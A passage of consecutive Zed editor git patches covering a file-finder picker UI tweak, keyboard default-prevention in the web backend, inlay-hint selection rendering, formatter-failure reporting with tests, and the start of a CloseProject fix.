 use theme_settings::ThemeSettings;
 use ui::{
-    Disclosure, Divider, FluentBuilder, IconButtonShape, ListItem, ListItemSpacing, Toggleable,
-    Tooltip, prelude::*, text_for_keystroke,
+    Disclosure, Divider, FluentBuilder, ListItem, ListItemSpacing, Toggleable, Tooltip, prelude::*,
+    text_for_keystroke,
 };
 use util::ResultExt;
 use workspace::SplitDirection;
@@ -719,12 +719,12 @@ impl PickerDelegate for Delegate {
             let label = option.label();
             let focus_handle = focus_handle.clone();
             let picker = picker.clone();
+
             IconButton::new(
                 ("text-finder-search-option", option as usize),
                 option.icon(),
             )
             .icon_size(IconSize::Small)
-            .shape(IconButtonShape::Square)
             .toggle_state(active.contains(options))
             .tooltip(move |_window, cx| Tooltip::for_action_in(label, action, &focus_handle, cx))
             .on_click(move |_, window, cx| {
@@ -737,8 +737,9 @@ impl PickerDelegate for Delegate {
 
         Some(
             h_flex()
-                .gap_1()
+                .gap_px()
                 .children(filter_buttons)
+                .child(Divider::vertical().ml_px().mr_0p5())
                 .children(picker::parts::project_scan_indicator(
                     self.active_query.is_some(),
                     self.project(cx),
@@ -772,7 +773,7 @@ impl PickerDelegate for Delegate {
             picker::PickerAction::separator(),
             picker::PickerAction::button(
                 if self.selected_matches.len() > 1 {
-                    "Open multiple"
+                    "Open Multiple"
                 } else {
                     "Open File"
                 },
@@ -1009,9 +1010,33 @@ impl PickerDelegate for Delegate {
         &self,
         ix: usize,
         selected: bool,
-        _: &mut Window,
+        window: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) -> Option<Self::ListItem> {
+        self.render_match_impl(ix, selected, None, window, cx)
+    }
+
+    fn render_match_with_checkbox(
+        &self,
+        ix: usize,
+        selected: bool,
+        checkbox: AnyElement,
+        window: &mut Window,
         cx: &mut Context<Picker<Self>>,
     ) -> Option<Self::ListItem> {
+        self.render_match_impl(ix, selected, Some(checkbox), window, cx)
+    }
+}
+
+impl Delegate {
+    fn render_match_impl(
+        &self,
+        ix: usize,
+        selected: bool,
+        checkbox: Option<AnyElement>,
+        _: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) -> Option<AnyElement> {
         match self.entries.get(ix)? {
             Entry::Separator => Some(
                 div()
@@ -1129,6 +1154,7 @@ impl PickerDelegate for Delegate {
                         .spacing(ListItemSpacing::Sparse)
                         .inset(true)
                         .toggle_state(selected)
+                        .when_some(checkbox, |this, checkbox| this.start_slot(checkbox))
                         .child(
                             h_flex()
                                 .w_full()

From 5d447d4223f8455db4811ed332c4ad744bb13e40 Mon Sep 17 00:00:00 2001
From: Baris Palaska <barispalaska@gmail.com>
Date: Mon, 13 Jul 2026 19:53:17 +0100
Subject: [PATCH 430/772] gpui_web: Only prevent default for keyboard events
 the app handled (#60889)

# Objective

The web platform called `event.preventDefault()` unconditionally before
dispatching every keydown and keyup, destroying all browser defaults
(reload, zoom, tab search, find, address bar) whether or not the app
used the key. The dispatch result already carries the answer:
`!propagate` means a keybinding matched or a handler consumed the
keystroke in the current focus context.


## Solution

Prevent the default only when the app consumed the keystroke, when the
printable character was inserted into the input handler, or mid-IME
composition. Unbound chords now fall through to the browser, and the
behavior is focus-aware: a chord bound in an editor is consumed there
but keeps its browser default when nothing that binds it is focused.


## Testing

Tested locally.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
---
 crates/gpui_web/src/events.rs | 18 +++++++++++++-----
 1 file changed, 13 insertions(+), 5 deletions(-)

diff --git a/crates/gpui_web/src/events.rs b/crates/gpui_web/src/events.rs
index 5956331ea81609..08434aada41589 100644
--- a/crates/gpui_web/src/events.rs
+++ b/crates/gpui_web/src/events.rs
@@ -352,8 +352,6 @@ impl WebWindowInner {
                 return;
             }
 
-            event.prevent_default();
-
             let is_held = event.repeat();
             let key_char = compute_key_char(&event, &key, &modifiers);
 
@@ -371,11 +369,13 @@ impl WebWindowInner {
 
             if let Some(result) = result {
                 if !result.propagate {
+                    event.prevent_default();
                     return;
                 }
             }
 
             if this.is_composing.get() || event.is_composing() {
+                event.prevent_default();
                 return;
             }
 
@@ -384,6 +384,11 @@ impl WebWindowInner {
                     this.with_input_handler(|handler| {
                         handler.replace_text_in_range(None, &text);
                     });
+                    // The character went into the input handler; suppress browser
+                    // side-effects for the same keystroke (space scrolling the
+                    // page, quick-find, etc.). Everything not handled above falls
+                    // through so browser shortcuts keep their defaults.
+                    event.prevent_default();
                 }
             }
         })
@@ -414,8 +419,6 @@ impl WebWindowInner {
                 return;
             }
 
-            event.prevent_default();
-
             let key_char = compute_key_char(&event, &key, &modifiers);
 
             let keystroke = Keystroke {
@@ -424,7 +427,12 @@ impl WebWindowInner {
                 key_char,
             };
 
-            this.dispatch_input(PlatformInput::KeyUp(KeyUpEvent { keystroke }));
+            let result = this.dispatch_input(PlatformInput::KeyUp(KeyUpEvent { keystroke }));
+            if let Some(result) = result {
+                if !result.propagate {
+                    event.prevent_default();
+                }
+            }
         })
     }
 

From 78c0f2522a420f117cc0ab7629076efc4469b0d9 Mon Sep 17 00:00:00 2001
From: Finn Eitreim <48069764+feitreim@users.noreply.github.com>
Date: Mon, 13 Jul 2026 14:59:49 -0400
Subject: [PATCH 431/772] editor: Fix incorrect inlay hint selection behavior
 (#60912)

# Objective

Fixes #48141

The issue is that there are certain situations where an Inlay hint,
specifically hints that appear to the left of whatever item they are
referring to, e.g. function argument hints, will be selected
incorrectly.


https://github.com/user-attachments/assets/b6d60bad-6999-481b-a1c7-420d3ee113f8

As you can see in the video, in both a modal and non-modal editor, as
soon as you include `(` (or the empty space between the first and second
argument) the hint gets highlighted as well.

## Solution

It is really important to note here that there is no issue with the
actual selection semantics, inlay hints don't get truly selected in the
sense that they don't count as buffer text and if you e.g. copy a
selection with a hint in it it doesn't get copied. A second thing to
note is that a fix that looks good for modal editing might not look good
for regular editing, thats largely what sank the previous attempt to fix
this issue (#51219).

This video is from #51219, but earlier versions of my fix suffered from
the exact same issue.


https://github.com/user-attachments/assets/16452530-1918-47da-9fd4-87c285284959

The cursor behavior for an active selection in a non-modal editor and
when there isn't a selection are different, and right now the behavior
is wired for the non-selection case, the solution to this is to separate
how things display with a selection from the other behavior. !I do not
change the non-selection behavior in any way!

Inlay hints at the boundary of a selection should be excluded, but hints
inside of a selection should be part of the contiguous selection. We can
reuse the `DisplayPointConverter` to do this. My original solution was
to use `isomorphic_display_point_ranges_for_buffer_range`, which maps a
buffer offset range into a `DisplayPoint` range that excludes Inlays,
except it actually maps to potentially several ranges, all the buffer
text *in between* inlay hints. By just taking the start of the first
sub-range, and the end of the last, we get the correct range that we are
looking for. The function I added,
`contiguous_display_point_range_for_buffer_range` basically just does
exactly that, and cut out all the extra work of creating a bunch of
intermediate ranges if it was a large selection with lots of inlays.

Then we can set the cursor head based on this range, this gives the
correct behavior for non-vim mode cursors, the vim mode cursor is
handled by other code after we set that anyway, so vim mode behavior is
unchanged.

These code changes are in `SelectionLayout::new`
```rust
        let buffer_snapshot = map.buffer_snapshot();
        let point_selection = selection.map(|p| p.to_point(buffer_snapshot));
        let display_selection = point_selection.map(|p| p.to_display_point(map));
        let mut range = display_selection.range();
        let mut head = display_selection.head();
        if !line_mode {
            let offset_range = point_selection.start.to_offset(buffer_snapshot)
                ..point_selection.end.to_offset(buffer_snapshot);
            if let Some(contiguous_range) =
                map.contiguous_display_point_range_for_buffer_range(offset_range)
            {
                range = contiguous_range;
                // Keep the cursor attached to the highlight boundary; the
                // anchor-bias display position may sit on the far side of a
                // boundary inlay the highlight excludes.
                head = if selection.reversed {
                    range.start
                } else {
                    range.end
                };
            }
        }
```

Heres the new behavior:


https://github.com/user-attachments/assets/cbbd53d6-bbea-4c50-91b5-23eaccd5d9d7

## Testing

added `test_selection_layout_around_inlay`, that fails on main currently
and passes with my changes. As far as manual testing the setup is pretty
easy, this is generally pretty language agnostic and can be tested
anywhere with function parameter hints.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- editor: Fixed rendering issues with selections over inlay hints.
---
 crates/editor/src/display_map.rs |  86 ++++++++++++++++++
 crates/editor/src/element.rs     | 147 +++++++++++++++++++++++++++++--
 2 files changed, 226 insertions(+), 7 deletions(-)

diff --git a/crates/editor/src/display_map.rs b/crates/editor/src/display_map.rs
index 9093fcfecf622f..554fe1a5ab22ae 100644
--- a/crates/editor/src/display_map.rs
+++ b/crates/editor/src/display_map.rs
@@ -1680,6 +1680,36 @@ impl DisplaySnapshot {
         self.display_point_converter().map(range)
     }
 
+    /// Converts a non-empty buffer range into one contiguous display range.
+    /// Inlays at either boundary are excluded, while inlays between selected
+    /// buffer characters are included.
+    pub fn contiguous_display_point_range_for_buffer_range(
+        &self,
+        range: Range<MultiBufferOffset>,
+    ) -> Option<Range<DisplayPoint>> {
+        if range.is_empty() {
+            return None;
+        }
+
+        let buffer = self.buffer_snapshot();
+        let first_character_end =
+            buffer.clip_offset((range.start + 1usize).min(range.end), Bias::Right);
+        let last_character_start = buffer.clip_offset(
+            range.end.saturating_sub_usize(1).max(range.start),
+            Bias::Left,
+        );
+
+        let mut converter = self.display_point_converter();
+        let first_ranges = converter.map(range.start..first_character_end);
+        let start = first_ranges.first()?.start;
+        if first_character_end == range.end {
+            return Some(start..first_ranges.last()?.end);
+        }
+
+        let last_ranges = converter.map(last_character_start..range.end);
+        Some(start..last_ranges.last()?.end)
+    }
+
     /// Returns a converter that maps buffer offset ranges to `DisplayPoint`
     /// ranges (as in [`Self::isomorphic_display_point_ranges_for_buffer_range`])
     /// while reusing cursor state across calls. Use this when converting many
@@ -4175,6 +4205,62 @@ pub mod tests {
         assert_eq!(ranges.len(), 1);
         assert_eq!(ranges[0].start, DisplayPoint::new(DisplayRow(0), 10));
         assert_eq!(ranges[0].end, DisplayPoint::new(DisplayRow(0), 14));
+
+        map.update(cx, |map, cx| {
+            map.splice_inlays(
+                &[InlayId::Hint(0)],
+                vec![
+                    Inlay::mock_hint(1, buffer_snapshot.anchor_after(MultiBufferOffset(5)), "L"),
+                    Inlay::mock_hint(2, buffer_snapshot.anchor_before(MultiBufferOffset(5)), "R"),
+                    Inlay::mock_hint(3, buffer_snapshot.anchor_after(MultiBufferOffset(7)), "I"),
+                ],
+                cx,
+            );
+        });
+        let snapshot = map.update(cx, |map, cx| map.snapshot(cx));
+
+        assert_eq!(
+            snapshot.contiguous_display_point_range_for_buffer_range(
+                MultiBufferOffset(4)..MultiBufferOffset(5),
+            ),
+            Some(DisplayPoint::new(DisplayRow(0), 4)..DisplayPoint::new(DisplayRow(0), 5)),
+        );
+        assert_eq!(
+            snapshot.contiguous_display_point_range_for_buffer_range(
+                MultiBufferOffset(5)..MultiBufferOffset(6),
+            ),
+            Some(DisplayPoint::new(DisplayRow(0), 7)..DisplayPoint::new(DisplayRow(0), 8)),
+        );
+        assert_eq!(
+            snapshot.contiguous_display_point_range_for_buffer_range(
+                MultiBufferOffset(4)..MultiBufferOffset(6),
+            ),
+            Some(DisplayPoint::new(DisplayRow(0), 4)..DisplayPoint::new(DisplayRow(0), 8)),
+        );
+        assert_eq!(
+            snapshot.contiguous_display_point_range_for_buffer_range(
+                MultiBufferOffset(6)..MultiBufferOffset(7),
+            ),
+            Some(DisplayPoint::new(DisplayRow(0), 8)..DisplayPoint::new(DisplayRow(0), 9)),
+        );
+        assert_eq!(
+            snapshot.contiguous_display_point_range_for_buffer_range(
+                MultiBufferOffset(7)..MultiBufferOffset(8),
+            ),
+            Some(DisplayPoint::new(DisplayRow(0), 10)..DisplayPoint::new(DisplayRow(0), 11)),
+        );
+        assert_eq!(
+            snapshot.contiguous_display_point_range_for_buffer_range(
+                MultiBufferOffset(4)..MultiBufferOffset(9),
+            ),
+            Some(DisplayPoint::new(DisplayRow(0), 4)..DisplayPoint::new(DisplayRow(0), 12)),
+        );
+        assert_eq!(
+            snapshot.contiguous_display_point_range_for_buffer_range(
+                MultiBufferOffset(5)..MultiBufferOffset(5),
+            ),
+            None,
+        );
     }
 
     #[test]
diff --git a/crates/editor/src/element.rs b/crates/editor/src/element.rs
index fe06b33f4317ed..83e8f702b4a180 100644
--- a/crates/editor/src/element.rs
+++ b/crates/editor/src/element.rs
@@ -59,7 +59,7 @@ use language::{
 use markdown::Markdown;
 use multi_buffer::{
     Anchor, ExpandExcerptDirection, ExpandInfo, MultiBufferOffset, MultiBufferPoint,
-    MultiBufferRow, RowInfo,
+    MultiBufferRow, RowInfo, ToOffset,
 };
 
 use project::{
@@ -167,10 +167,28 @@ impl SelectionLayout {
         is_local: bool,
         user_name: Option<SharedString>,
     ) -> Self {
-        let point_selection = selection.map(|p| p.to_point(map.buffer_snapshot()));
+        let buffer_snapshot = map.buffer_snapshot();
+        let point_selection = selection.map(|p| p.to_point(buffer_snapshot));
         let display_selection = point_selection.map(|p| p.to_display_point(map));
         let mut range = display_selection.range();
         let mut head = display_selection.head();
+        if !line_mode {
+            let offset_range = point_selection.start.to_offset(buffer_snapshot)
+                ..point_selection.end.to_offset(buffer_snapshot);
+            if let Some(contiguous_range) =
+                map.contiguous_display_point_range_for_buffer_range(offset_range)
+            {
+                range = contiguous_range;
+                // Keep the cursor attached to the highlight boundary; the
+                // anchor-bias display position may sit on the far side of a
+                // boundary inlay the highlight excludes.
+                head = if selection.reversed {
+                    range.start
+                } else {
+                    range.end
+                };
+            }
+        }
         let mut active_rows = map.prev_line_boundary(point_selection.start).1.row()
             ..map.next_line_boundary(point_selection.end).1.row();
 
@@ -10673,13 +10691,13 @@ fn compute_auto_height_layout(
 mod tests {
     use super::*;
     use crate::{
-        Editor, HighlightKey, MultiBuffer, NavigationOverlayKey, NavigationOverlayLabel,
-        NavigationTargetOverlay, SelectionEffects,
-        display_map::{BlockPlacement, BlockProperties},
+        Editor, FoldPlaceholder, HighlightKey, Inlay, MultiBuffer, NavigationOverlayKey,
+        NavigationOverlayLabel, NavigationTargetOverlay, SelectionEffects,
+        display_map::{BlockPlacement, BlockProperties, DisplayMap},
         editor_tests::{init_test, update_test_language_settings},
     };
-    use gpui::{TestAppContext, VisualTestContext};
-    use language::{Buffer, language_settings, tree_sitter_python};
+    use gpui::{TestAppContext, VisualTestContext, font};
+    use language::{Buffer, SelectionGoal, language_settings, tree_sitter_python};
     use log::info;
     use rand::{RngCore, rngs::StdRng};
     use std::num::NonZeroU32;
@@ -10782,6 +10800,121 @@ mod tests {
         }
     }
 
+    // Regression test for https://github.com/zed-industries/zed/issues/48141.
+    #[gpui::test]
+    fn test_selection_layout_around_inlay(cx: &mut TestAppContext) {
+        init_test(cx, |_| {});
+
+        let snapshot = cx.update(|cx| {
+            let buffer = MultiBuffer::build_simple("abcd", cx);
+            let buffer_snapshot = buffer.read(cx).snapshot(cx);
+            let display_map = cx.new(|cx| {
+                DisplayMap::new(
+                    buffer,
+                    font("Helvetica"),
+                    px(14.0),
+                    None,
+                    1,
+                    1,
+                    FoldPlaceholder::test(),
+                    project::project_settings::DiagnosticSeverity::Warning,
+                    cx,
+                )
+            });
+            display_map.update(cx, |display_map, cx| {
+                display_map.splice_inlays(
+                    &[],
+                    vec![
+                        Inlay::mock_hint(
+                            0,
+                            buffer_snapshot.anchor_before(MultiBufferOffset(1)),
+                            "hint ",
+                        ),
+                        Inlay::mock_hint(
+                            1,
+                            buffer_snapshot.anchor_after(MultiBufferOffset(3)),
+                            "!!",
+                        ),
+                    ],
+                    cx,
+                );
+                display_map.snapshot(cx)
+            })
+        });
+
+        let layout = |range: Range<MultiBufferOffset>, reversed, cursor_offset| {
+            SelectionLayout::new(
+                Selection {
+                    id: 0,
+                    start: range.start,
+                    end: range.end,
+                    reversed,
+                    goal: SelectionGoal::None,
+                },
+                false,
+                cursor_offset,
+                CursorShape::Bar,
+                &snapshot,
+                true,
+                true,
+                None,
+            )
+        };
+        let display_point = |column| DisplayPoint::new(DisplayRow(0), column);
+
+        let ending_at_inlay = layout(MultiBufferOffset(0)..MultiBufferOffset(1), false, false);
+        assert_eq!(ending_at_inlay.range, display_point(0)..display_point(1));
+        assert_eq!(ending_at_inlay.head, display_point(1));
+
+        let starting_at_inlay = layout(MultiBufferOffset(1)..MultiBufferOffset(2), false, false);
+        assert_eq!(starting_at_inlay.range, display_point(6)..display_point(7));
+        assert_eq!(starting_at_inlay.head, display_point(7));
+
+        let spanning_inlay = layout(MultiBufferOffset(0)..MultiBufferOffset(2), false, false);
+        assert_eq!(spanning_inlay.range, display_point(0)..display_point(7));
+        assert_eq!(spanning_inlay.head, display_point(7));
+
+        let reversed = layout(MultiBufferOffset(0)..MultiBufferOffset(2), true, false);
+        assert_eq!(reversed.range, display_point(0)..display_point(7));
+        assert_eq!(reversed.head, display_point(0));
+
+        // A reversed selection starting at a right-anchored hint: the
+        // anchor-bias cursor position would sit before the hint, detached from
+        // the highlight, so the head snaps to the highlight boundary instead.
+        let reversed_at_right_anchored_inlay =
+            layout(MultiBufferOffset(3)..MultiBufferOffset(4), true, false);
+        assert_eq!(
+            reversed_at_right_anchored_inlay.range,
+            display_point(10)..display_point(11)
+        );
+        assert_eq!(reversed_at_right_anchored_inlay.head, display_point(10));
+
+        // An empty selection is a typing position, so it keeps the anchor-bias
+        // display position rather than snapping around boundary inlays.
+        let empty = layout(MultiBufferOffset(1)..MultiBufferOffset(1), false, false);
+        assert!(empty.range.is_empty());
+        assert_eq!(empty.head, display_point(6));
+
+        let vim_ending_at_inlay = layout(MultiBufferOffset(0)..MultiBufferOffset(1), false, true);
+        assert_eq!(
+            vim_ending_at_inlay.range,
+            display_point(0)..display_point(1)
+        );
+        assert_eq!(vim_ending_at_inlay.head, display_point(0));
+
+        let vim_spanning_inlay = layout(MultiBufferOffset(0)..MultiBufferOffset(2), false, true);
+        assert_eq!(vim_spanning_inlay.range, display_point(0)..display_point(7));
+        assert_eq!(vim_spanning_inlay.head, display_point(6));
+
+        let vim_reversed_at_right_anchored_inlay =
+            layout(MultiBufferOffset(3)..MultiBufferOffset(4), true, true);
+        assert_eq!(
+            vim_reversed_at_right_anchored_inlay.range,
+            display_point(10)..display_point(11)
+        );
+        assert_eq!(vim_reversed_at_right_anchored_inlay.head, display_point(10));
+    }
+
     #[gpui::test]
     async fn test_soft_wrap_editor_width_auto_height_editor(cx: &mut TestAppContext) {
         init_test(cx, |_| {});

From 56ab1c48257094573707ab1548bdd3b8dec6d8d8 Mon Sep 17 00:00:00 2001
From: Apoorva Verma <76636952+apoorva-01@users.noreply.github.com>
Date: Tue, 14 Jul 2026 01:54:53 +0530
Subject: [PATCH 432/772] project: Report formatter failures in the status bar
 again (#60839)

set a formatter that fails (`"formatter": {"external": {"command":
"false"}}`), save, and you get nothing. it just goes to the log, the
"Formatting failed" indicator never shows.

#51605 made the formatter loop log-and-continue instead of bailing (so
unrelated edits don't get reverted, #51490). downside was the pipeline
always returned Ok after that, so the failure flag the indicator reads
always got wiped. this brings back failures from formatters you actually
configured. auto ones stay quiet when they're not around, so no prettier
installed = still a no-op.

only explicit failures show up, bit narrower than before #51605. can
widen it to auto ones too if you want, one line.

Fixes #59988.

Release Notes:

- Fixed formatter failures not showing the "Formatting failed" status
bar indicator

---------

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 crates/editor/src/editor_tests.rs | 180 +++++++++++++++++++++++++++++-
 crates/project/src/lsp_store.rs   |  26 ++++-
 2 files changed, 198 insertions(+), 8 deletions(-)

diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 969e1fd15732da..df2d411181f407 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -55,12 +55,12 @@ use settings::{
     InlayHintSettingsContent, ProjectSettingsContent, ScrollBeyondLastLine, SearchSettingsContent,
     SettingsContent, SettingsStore,
 };
-use std::{borrow::Cow, sync::Arc};
-use std::{cell::RefCell, future::Future, rc::Rc, sync::atomic::AtomicBool, time::Instant};
 use std::{
-    iter,
-    sync::atomic::{self, AtomicUsize},
+    borrow::Cow,
+    sync::{Arc, atomic},
 };
+use std::{cell::RefCell, future::Future, rc::Rc, sync::atomic::AtomicBool, time::Instant};
+use std::{iter, sync::atomic::AtomicUsize};
 use task::TaskVariables;
 use test::build_editor_with_project;
 use unindent::Unindent;
@@ -17612,6 +17612,178 @@ async fn test_formatter_failure_does_not_abort_subsequent_formatters(cx: &mut Te
     });
 }
 
+#[gpui::test]
+async fn test_explicit_formatter_failure_is_recorded(cx: &mut TestAppContext) {
+    init_test(cx, |settings| {
+        settings.defaults.formatter = Some(FormatterList::Vec(vec![Formatter::LanguageServer(
+            settings::LanguageServerFormatterSpecifier::Current,
+        )]))
+    });
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_file(path!("/file.rs"), "fn main() {}\n".into())
+        .await;
+
+    let project = Project::test(fs, [path!("/").as_ref()], cx).await;
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(rust_lang());
+
+    let format_should_fail = Arc::new(AtomicBool::new(true));
+    let mut fake_servers = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            capabilities: lsp::ServerCapabilities {
+                document_formatting_provider: Some(lsp::OneOf::Left(true)),
+                ..lsp::ServerCapabilities::default()
+            },
+            initializer: Some(Box::new({
+                let format_should_fail = format_should_fail.clone();
+                move |fake_server| {
+                    let format_should_fail = format_should_fail.clone();
+                    fake_server.set_request_handler::<lsp::request::Formatting, _, _>(
+                        move |_params, _| {
+                            let format_should_fail = format_should_fail.clone();
+                            async move {
+                                if format_should_fail.load(atomic::Ordering::Acquire) {
+                                    Err(anyhow::anyhow!("Simulated formatter failure"))
+                                } else {
+                                    Ok(Some(Vec::new()))
+                                }
+                            }
+                        },
+                    );
+                }
+            })),
+            ..FakeLspAdapter::default()
+        },
+    );
+
+    let buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer(path!("/file.rs"), cx)
+        })
+        .await
+        .unwrap();
+
+    let buffer = cx.new(|cx| MultiBuffer::singleton(buffer, cx));
+    let (editor, cx) = cx.add_window_view(|window, cx| {
+        build_editor_with_project(project.clone(), buffer, window, cx)
+    });
+
+    fake_servers.next().await.unwrap();
+
+    let format = |editor: &Entity<Editor>, cx: &mut VisualTestContext| {
+        editor
+            .update_in(cx, |editor, window, cx| {
+                editor.perform_format(
+                    project.clone(),
+                    FormatTrigger::Manual,
+                    FormatTarget::Buffers(editor.buffer().read(cx).all_buffers()),
+                    window,
+                    cx,
+                )
+            })
+            .unwrap()
+    };
+    let last_failure = |cx: &mut VisualTestContext| {
+        project.read_with(cx, |project, cx| {
+            project
+                .lsp_store()
+                .read(cx)
+                .last_formatting_failure()
+                .map(str::to_string)
+        })
+    };
+
+    format(&editor, cx).await;
+    assert!(
+        last_failure(cx).is_some(),
+        "a failing explicitly configured formatter should be recorded"
+    );
+
+    format_should_fail.store(false, atomic::Ordering::Release);
+    format(&editor, cx).await;
+    assert_eq!(
+        last_failure(cx),
+        None,
+        "A later successful format clears the recorded failure"
+    );
+}
+
+#[gpui::test]
+async fn test_auto_formatter_failure_is_silent(cx: &mut TestAppContext) {
+    init_test(cx, |settings| {
+        // `formatter: "auto"` with prettier disallowed resolves to the primary language server.
+        settings.defaults.formatter = Some(FormatterList::Single(Formatter::Auto));
+        settings.defaults.prettier.get_or_insert_default().allowed = Some(false);
+    });
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_file(path!("/file.rs"), "fn main() {}\n".into())
+        .await;
+
+    let project = Project::test(fs, [path!("/").as_ref()], cx).await;
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(rust_lang());
+
+    let mut fake_servers = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            capabilities: lsp::ServerCapabilities {
+                document_formatting_provider: Some(lsp::OneOf::Left(true)),
+                ..lsp::ServerCapabilities::default()
+            },
+            initializer: Some(Box::new(|fake_server| {
+                fake_server.set_request_handler::<lsp::request::Formatting, _, _>(
+                    move |_params, _| async move {
+                        Err(anyhow::anyhow!("Simulated formatter failure"))
+                    },
+                );
+            })),
+            ..FakeLspAdapter::default()
+        },
+    );
+
+    let buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer(path!("/file.rs"), cx)
+        })
+        .await
+        .unwrap();
+
+    let buffer = cx.new(|cx| MultiBuffer::singleton(buffer, cx));
+    let (editor, cx) = cx.add_window_view(|window, cx| {
+        build_editor_with_project(project.clone(), buffer, window, cx)
+    });
+
+    fake_servers.next().await.unwrap();
+
+    editor
+        .update_in(cx, |editor, window, cx| {
+            editor.perform_format(
+                project.clone(),
+                FormatTrigger::Manual,
+                FormatTarget::Buffers(editor.buffer().read(cx).all_buffers()),
+                window,
+                cx,
+            )
+        })
+        .unwrap()
+        .await;
+
+    let last_failure = project.read_with(cx, |project, cx| {
+        project
+            .lsp_store()
+            .read(cx)
+            .last_formatting_failure()
+            .map(str::to_string)
+    });
+    assert_eq!(
+        last_failure, None,
+        "an auto-resolved formatter failure should not be surfaced"
+    );
+}
+
 #[gpui::test]
 async fn test_concurrent_format_requests(cx: &mut TestAppContext) {
     init_test(cx, |_| {});
diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index f9e563ccdb39a2..0500d15c33ec6a 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -1548,6 +1548,7 @@ impl LocalLspStore {
         });
 
         let mut project_transaction = ProjectTransaction::default();
+        let mut format_error = None;
 
         for buffer in &buffers {
             zlog::debug!(
@@ -1601,10 +1602,16 @@ impl LocalLspStore {
                     .insert(cx.entity(), formatting_transaction);
             });
 
-            result?;
+            // Keep formatting the remaining buffers on failure, surfacing the first error.
+            if let Err(error) = result {
+                format_error.get_or_insert(error);
+            }
         }
 
-        Ok(project_transaction)
+        match format_error {
+            Some(error) => Err(error),
+            None => Ok(project_transaction),
+        }
     }
 
     async fn format_buffer_locally(
@@ -1747,8 +1754,13 @@ impl LocalLspStore {
             .flatten()
             .chain(formatters);
 
+        // Only explicitly configured formatters surface their failures;
+        // auto-resolved ones stay silent so a missing optional tool
+        // (e.g. prettier) does not warn on every save.
+        let mut format_error = None;
         for formatter in formatters {
-            let formatter = if formatter == &Formatter::Auto {
+            let is_auto = formatter == &Formatter::Auto;
+            let formatter = if is_auto {
                 if settings.prettier.allowed {
                     zlog::trace!(logger => "Formatter set to auto: defaulting to prettier");
                     &Formatter::Prettier
@@ -1774,10 +1786,16 @@ impl LocalLspStore {
             .await
             {
                 zlog::error!(logger => "Formatter failed, skipping: {err:#}");
+                if !is_auto {
+                    format_error.get_or_insert(err);
+                }
             }
         }
 
-        Ok(())
+        match format_error {
+            Some(err) => Err(err),
+            None => Ok(()),
+        }
     }
 
     async fn apply_formatter(

From 5471ee3f8bcab9586d48a695546cebea81933a2f Mon Sep 17 00:00:00 2001
From: Akshit Joshi <akshitcasual1@gmail.com>
Date: Tue, 14 Jul 2026 04:15:49 +0530
Subject: [PATCH 433/772] Fix CloseProject not switching to neighbor in
 multi-project workspace (#60524)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Fixes #54772

When "Workspace: close project" was used in a multi-project window, the
handler pre-created an empty "get started" workspace and activated it
before removing the old project group. This prevented
`remove_project_group` from detecting that the active workspace was
being removed, so the neighbor-fallback never ran — leaving the user on
the empty workspace even though other projects were still open.

The fix delegates entirely to `remove_project_group`, which already
handles:
- Computing a neighboring project group
- Prompting for unsaved changes via `prepare_to_close`
- Activating the neighbor (or creating an empty workspace if none
remains)

This matches the behavior of the sidebar "Remove Project" action, which
uses the same `remove_project_group` path.

Release Notes:

- Fixed "Workspace: close project" action not switching to another
project in multi-project workspace

---------

Co-authored-by: Eric Holk <eric@zed.dev>
---
 crates/zed/src/zed.rs | 142 ++++++++++++++++++++++++++++--------------
 1 file changed, 94 insertions(+), 48 deletions(-)

diff --git a/crates/zed/src/zed.rs b/crates/zed/src/zed.rs
index 139066d2faab6c..55cf31522729dc 100644
--- a/crates/zed/src/zed.rs
+++ b/crates/zed/src/zed.rs
@@ -1291,59 +1291,17 @@ fn register_actions(
             }
         })
         .register_action({
-            let app_state = app_state.clone();
             move |workspace, _: &CloseProject, window, cx| {
                 let Some(window_handle) = window.window_handle().downcast::<MultiWorkspace>() else {
                     return;
                 };
-                let app_state = app_state.clone();
                 let old_group_key = workspace.project_group_key(cx);
-                cx.spawn_in(window, async move |this, cx| {
-                    let should_continue = this
-                        .update_in(cx, |workspace, window, cx| {
-                            workspace.prepare_to_close(
-                                CloseIntent::ReplaceWindow,
-                                window,
-                                cx,
-                            )
-                        })?
-                        .await?;
-                    if should_continue {
-                        let task = cx.update(|_window, cx| {
-                            open_new(
-                                workspace::OpenOptions {
-                                    requesting_window: Some(window_handle),
-                                    ..Default::default()
-                                },
-                                app_state,
-                                cx,
-                                |workspace, window, cx| {
-                                    cx.activate(true);
-                                    let project = workspace.project().clone();
-                                    let buffer = project.update(cx, |project, cx| {
-                                        project.create_local_buffer("", None, true, cx)
-                                    });
